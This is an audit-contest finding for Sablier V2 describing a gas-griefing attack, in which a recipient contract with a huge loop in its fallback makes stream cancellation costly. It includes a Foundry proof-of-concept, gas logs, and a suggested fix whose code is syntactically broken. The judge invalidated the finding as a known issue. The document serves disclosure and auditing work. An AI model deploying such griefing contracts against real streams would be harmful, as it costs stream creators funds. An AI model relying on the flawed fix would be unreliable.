Sablier
Sablier
DeFiFoundry
53,440 USDC
View results
Previous Next
Submission Details
Severity: low
Invalid

A malicious stream reciepient can make the stream uncancellable or too expensive to cancel

joshuajee

Summary

When the creator of a stream cancels the stream, and the recipient address is a contract it calls ISablierV2Recipient(recipient).onLockupStreamCanceled function on the contract, this call is put inside a try-catch to prevent revert if the contract didn't implement this function.

Vulnerability Details

The problem is that a malicious contract can implement this function and put a very large loop within it. This will grieve the stream creator if he ever tries to cancel the stream. The stream creator will have to pay more gas fees in order to cancel the stream.

if (recipient.code.length > 0) {
try ISablierV2Recipient(recipient).onLockupStreamCanceled({
streamId: streamId,
sender: sender,
senderAmount: senderAmount,
recipientAmount: recipientAmount
}) { } catch { }
}

POC

  1. Alice creates a stream for Bob with 10000USDC.

  2. Bob and Alice disagree so she wants to cancel the stream.

  3. Before she could do that Bob sends this streams to a contract he controls. That has a large loop within it's fallback.

  4. The cost to cancel the stream will become too expensive for Alice.

  5. So Bob keeps his stream and Alice loses money.

Create a file at the root of your unit test
https://github.com/Cyfrin/2024-05-Sablier/tree/main/v2-core/test/unit
and paste the test code below inside that file.

Run the code

forge test --mt testCancelPOC -vvv
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.22 <0.9.0;
​
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IERC721Errors } from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { UD60x18, ud, ZERO } from "@prb/math/src/UD60x18.sol";
import { stdError } from "forge-std/src/StdError.sol";
​
import { ISablierV2LockupLinear } from "src/interfaces/ISablierV2LockupLinear.sol";
import { Errors } from "src/libraries/Errors.sol";
import { Broker, Lockup, LockupLinear } from "src/types/DataTypes.sol";
import { console2 } from "forge-std/src/console2.sol";
import { Base_Test } from "test/Base.t.sol";
import { ERC20Mock } from "../mocks/erc20/ERC20Mock.sol";
​
contract Mine {
​
uint value;
​
fallback () external {
for (uint i; i < 100000; ++i) {
value = i / 2 == 0 ? 0 : 1;
}
}
​
}
​
contract CreateWithTimestamps_LockupBroker_Poc is Base_Test {
​
address donor = makeAddr("donor");
​
Mine mine;
​
function setUp() public virtual override {
super.setUp();
mine = new Mine();
// vm.stopPrank();
}
​
​
function testCancelPOC() public {
​
LockupLinear.CreateWithTimestamps memory _params;
​
uint128 TOTAL_AMOUNT = 10 ether;
​
uint40 START_TIME = uint40(block.timestamp);
uint40 END_TIME = uint40(START_TIME * 10);
​
//Lockup Params
_params.sender = users.sender;
_params.recipient = users.recipient;
_params.totalAmount = TOTAL_AMOUNT;
_params.asset = dai;
_params.cancelable = true;
_params.transferable = true;
_params.timestamps.start = START_TIME;
_params.timestamps.end = END_TIME;
uint stream1 = lockupLinear.createWithTimestamps(_params);
​
_params.recipient = address(mine);
​
uint stream2 = lockupLinear.createWithTimestamps(_params);
​
vm.warp(START_TIME * 2);
vm.stopPrank();
vm.startPrank(users.sender);
uint gasLeft = gasleft();
​
lockupLinear.cancel(stream1);
​
console2.log("Gas used for normal cancel", gasLeft - gasleft());
​
gasLeft = gasleft();
​
lockupLinear.cancel(stream2);
​
console2.log("Gas used for malicious cancel", gasLeft - gasleft());
​
}
​
}
​
​
[PASS] testCancelPOC() (gas: 24726561)
Logs:
  Gas used for normal cancel 38270
  Gas used for malicious cancel 24360762

From the above test we can see that a malicious user can increase the cost of cancelling a stream and make in unfavorable.

Impact

Inability to cancel stream. Loss of funds for the stream creator.

Tools Used

Manual

Recommendations

Use call and set the gaslimit within the try-catch

- try ISablierV2Recipient(recipient).onLockupStreamCanceled({
- streamId: streamId,
- sender: sender,
- senderAmount: senderAmount,
- recipientAmount: recipientAmount
- }) { } catch { }
​
+ bytes memory func = abi.encodeWithSignature("onLockupStreamCanceled(uint256,address,uint256,address)", streamId, sender, senderAmount, recipientAmount)
+ bool success, bytes memory data) = recipient.call{
+ value: msg.value,
+ gas: 5000
+ }(abi.encodeWithSignature(func);
​
​
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

Known - Contest Details

https://www.codehawks.com/contests/clvb9njmy00012dqjyaavpl44

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.